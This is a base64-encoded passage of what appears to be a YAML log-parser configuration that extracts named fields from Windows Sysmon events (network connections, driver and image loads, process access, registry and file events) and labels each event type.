VlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU291cmNlSG9zdG5hbWUnXSIpCiAgICAgIC0gcGFyc2VkOiBTb3VyY2VQb3J0CiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU291cmNlUG9ydCddIikKICAgICAgLSBwYXJzZWQ6IFNvdXJjZVBvcnROYW1lCiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU291cmNlUG9ydE5hbWUnXSIpCiAgICAgIC0gcGFyc2VkOiBEZXN0aW5hdGlvbklzSXB2NgogICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0Rlc3RpbmF0aW9uSXNJcHY2J10iKQogICAgICAtIHBhcnNlZDogRGVzdGluYXRpb25JcAogICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0Rlc3RpbmF0aW9uSXAnXSIpCiAgICAgIC0gcGFyc2VkOiBEZXN0aW5hdGlvbkhvc3RuYW1lCiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nRGVzdGluYXRpb25Ib3N0bmFtZSddIikKICAgICAgLSBwYXJzZWQ6IERlc3RpbmF0aW9uUG9ydAogICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0Rlc3RpbmF0aW9uUG9ydCddIikKICAgICAgLSBwYXJzZWQ6IERlc3RpbmF0aW9uUG9ydE5hbWUKICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdEZXN0aW5hdGlvblBvcnROYW1lJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBOZXR3b3JrQ29ubmVjdGlvbgogIC0gZmlsdGVyOiBldnQuUGFyc2VkLkV2ZW50SUQgPT0gJzQnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogU3RhdGUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU3RhdGUnXSIpCiAgICAgIC0gcGFyc2VkOiBWZXJzaW9uCiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVmVyc2lvbiddIikKICAgICAgLSBwYXJzZWQ6IFNjaGVtYVZlcnNpb24KICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTY2hlbWFWZXJzaW9uJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBTeXNtb25TZXJ2aWNlU3RhdGVDaGFuZ2VkCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnNScKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzR3VpZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IEltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlJ10iKQogICAgICAtIHBhcnNlZDogUHJvY2Vzc0lkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NJZCddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogUHJvY2Vzc1Rlcm1pbmF0ZWQKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICc2JwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IEltYWdlTG9hZGVkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlTG9hZGVkJ10iKQogICAgICAtIHBhcnNlZDogSGFzaGVzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0hhc2hlcyddIikKICAgICAgLSBwYXJzZWQ6IFNpZ25lZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTaWduZWQnXSIpCiAgICAgIC0gcGFyc2VkOiBTaWduYXR1cmUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU2lnbmF0dXJlJ10iKQogICAgICAtIHBhcnNlZDogU2lnbmF0dXJlU3RhdHVzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1NpZ25hdHVyZVN0YXR1cyddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogRHJpdmVyTG9hZGVkCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnNycKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzR3VpZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzSWQnXSIpCiAgICAgIC0gcGFyc2VkOiBJbWFnZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdJbWFnZSddIikKICAgICAgLSBwYXJzZWQ6IEltYWdlTG9hZGVkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlTG9hZGVkJ10iKQogICAgICAtIHBhcnNlZDogSGFzaGVzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0hhc2hlcyddIikKICAgICAgLSBwYXJzZWQ6IFNpZ25lZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTaWduZWQnXSIpCiAgICAgIC0gcGFyc2VkOiBTaWduYXR1cmUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU2lnbmF0dXJlJ10iKQogICAgICAtIHBhcnNlZDogU2lnbmF0dXJlU3RhdHVzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1NpZ25hdHVyZVN0YXR1cyddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogSW1hZ2VMb2FkZWQKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICc4JwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IFNvdXJjZVByb2Nlc3NHdWlkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1NvdXJjZVByb2Nlc3NHdWlkJ10iKQogICAgICAtIHBhcnNlZDogU291cmNlUHJvY2Vzc0lkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1NvdXJjZVByb2Nlc3NJZCddIikKICAgICAgLSBwYXJzZWQ6IFNvdXJjZUltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1NvdXJjZUltYWdlJ10iKQogICAgICAtIHBhcnNlZDogVGFyZ2V0UHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0UHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBUYXJnZXRQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0UHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogVGFyZ2V0SW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0SW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBOZXdUaHJlYWRJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdOZXdUaHJlYWRJZCddIikKICAgICAgLSBwYXJzZWQ6IFN0YXJ0QWRkcmVzcwogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTdGFydEFkZHJlc3MnXSIpCiAgICAgIC0gcGFyc2VkOiBTdGFydE1vZHVsZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTdGFydE1vZHVsZSddIikKICAgICAgLSBwYXJzZWQ6IFN0YXJ0RnVuY3Rpb24KICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU3RhcnRGdW5jdGlvbiddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogQ3JlYXRlUmVtb3RlVGhyZWFkCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnOScKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzR3VpZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzSWQnXSIpCiAgICAgIC0gcGFyc2VkOiBJbWFnZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdJbWFnZSddIikKICAgICAgLSBwYXJzZWQ6IERldmljZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdEZXZpY2UnXSIpCiAgICAgIC0gbWV0YTogU3lzbW9uRXZlbnRUeXBlCiAgICAgICAgdmFsdWU6IFJhd0FjY2Vzc1JlYWQKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICcxMCcKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBTb3VyY2VQcm9jZXNzR1VJRAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTb3VyY2VQcm9jZXNzR1VJRCddIikKICAgICAgLSBwYXJzZWQ6IFNvdXJjZVByb2Nlc3NJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTb3VyY2VQcm9jZXNzSWQnXSIpCiAgICAgIC0gcGFyc2VkOiBTb3VyY2VUaHJlYWRJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTb3VyY2VUaHJlYWRJZCddIikKICAgICAgLSBwYXJzZWQ6IFNvdXJjZUltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1NvdXJjZUltYWdlJ10iKQogICAgICAtIHBhcnNlZDogVGFyZ2V0UHJvY2Vzc0dVSUQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0UHJvY2Vzc0dVSUQnXSIpCiAgICAgIC0gcGFyc2VkOiBUYXJnZXRQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0UHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogVGFyZ2V0SW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0SW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBHcmFudGVkQWNjZXNzCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0dyYW50ZWRBY2Nlc3MnXSIpCiAgICAgIC0gcGFyc2VkOiBDYWxsVHJhY2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nQ2FsbFRyYWNlJ10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBQcm9jZXNzQWNjZXNzCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMTEnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogUHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBUYXJnZXRGaWxlbmFtZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdUYXJnZXRGaWxlbmFtZSddIikKICAgICAgLSBwYXJzZWQ6IENyZWF0aW9uVXRjVGltZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdDcmVhdGlvblV0Y1RpbWUnXSIpCiAgICAgIC0gbWV0YTogU3lzbW9uRXZlbnRUeXBlCiAgICAgICAgdmFsdWU6IEZpbGVDcmVhdGUKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICcxMicKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBFdmVudFR5cGUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nRXZlbnRUeXBlJ10iKQogICAgICAtIHBhcnNlZDogUHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBUYXJnZXRPYmplY3QKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nVGFyZ2V0T2JqZWN0J10iKQogICAgICAtIG1ldGE6IFN5c21vbkV2ZW50VHlwZQogICAgICAgIHZhbHVlOiBSZWdpc3RyeUNyZWF0ZU9yRGVsCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMTMnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogRXZlbnRUeXBlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0V2ZW50VHlwZSddIikKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NHdWlkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NHdWlkJ10iKQogICAgICAtIHBhcnNlZDogUHJvY2Vzc0lkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NJZCddIikKICAgICAgLSBwYXJzZWQ6IEltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlJ10iKQogICAgICAtIHBhcnNlZDogVGFyZ2V0T2JqZWN0CiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1RhcmdldE9iamVjdCddIikKICAgICAgLSBwYXJzZWQ6IERldGFpbHMKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nRGV0YWlscyddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogUmVnaXN0cnlTZXRWYWx1ZQogIC0gZmlsdGVyOiBldnQuUGFyc2VkLkV2ZW50SUQgPT0gJzE0JwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IEV2ZW50VHlwZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdFdmVudFR5cGUnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzR3VpZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NJZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzSWQnXSIpCiAgICAgIC0gcGFyc2VkOiBJbWFnZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdJbWFnZSddIikKICAgICAgLSBwYXJzZWQ6IFRhcmdldE9iamVjdAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdUYXJnZXRPYmplY3QnXSIpCiAgICAgIC0gcGFyc2VkOiBOZXdOYW1lCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J05ld05hbWUnXSIpCiAgICAgIC0gbWV0YTogU3lzbW9uRXZlbnRUeXBlCiAgICAgICAgdmFsdWU6IFJlZ2lzdHJ5UmVuYW1lCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMTUnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogUHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBUYXJnZXRGaWxlbmFtZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdUYXJnZXRGaWxlbmFtZSddIikKICAgICAgLSBwYXJzZWQ6IENyZWF0aW9uVXRjVGltZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdDcmVhdGlvblV0Y1RpbWUnXSIpCiAgICAgIC0gbWV0YTogU3lzbW9uRXZlbnRUeXBlCiAgICAgICAgdmFsdWU6IEZpbGVDcmVhdGVTdHJlYW1IYXNoCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMTYnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogQ29uZmlndXJhdGlvbkZpbGVIYXNoCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0NvbmZpZ3VyYXRpb25GaWxlSGFzaCddIikKICAgICAgLSBwYXJzZWQ6IENvbmZpZ3VyYXRpb24KICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nQ29uZmlndXJhdGlvbiddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogU3lzbW9uQ29uZmlnQ2hhbmdlCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMTcnCiAgICBzdGF0aWNzOgogICAgICAtIHBhcnNlZDogUHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lL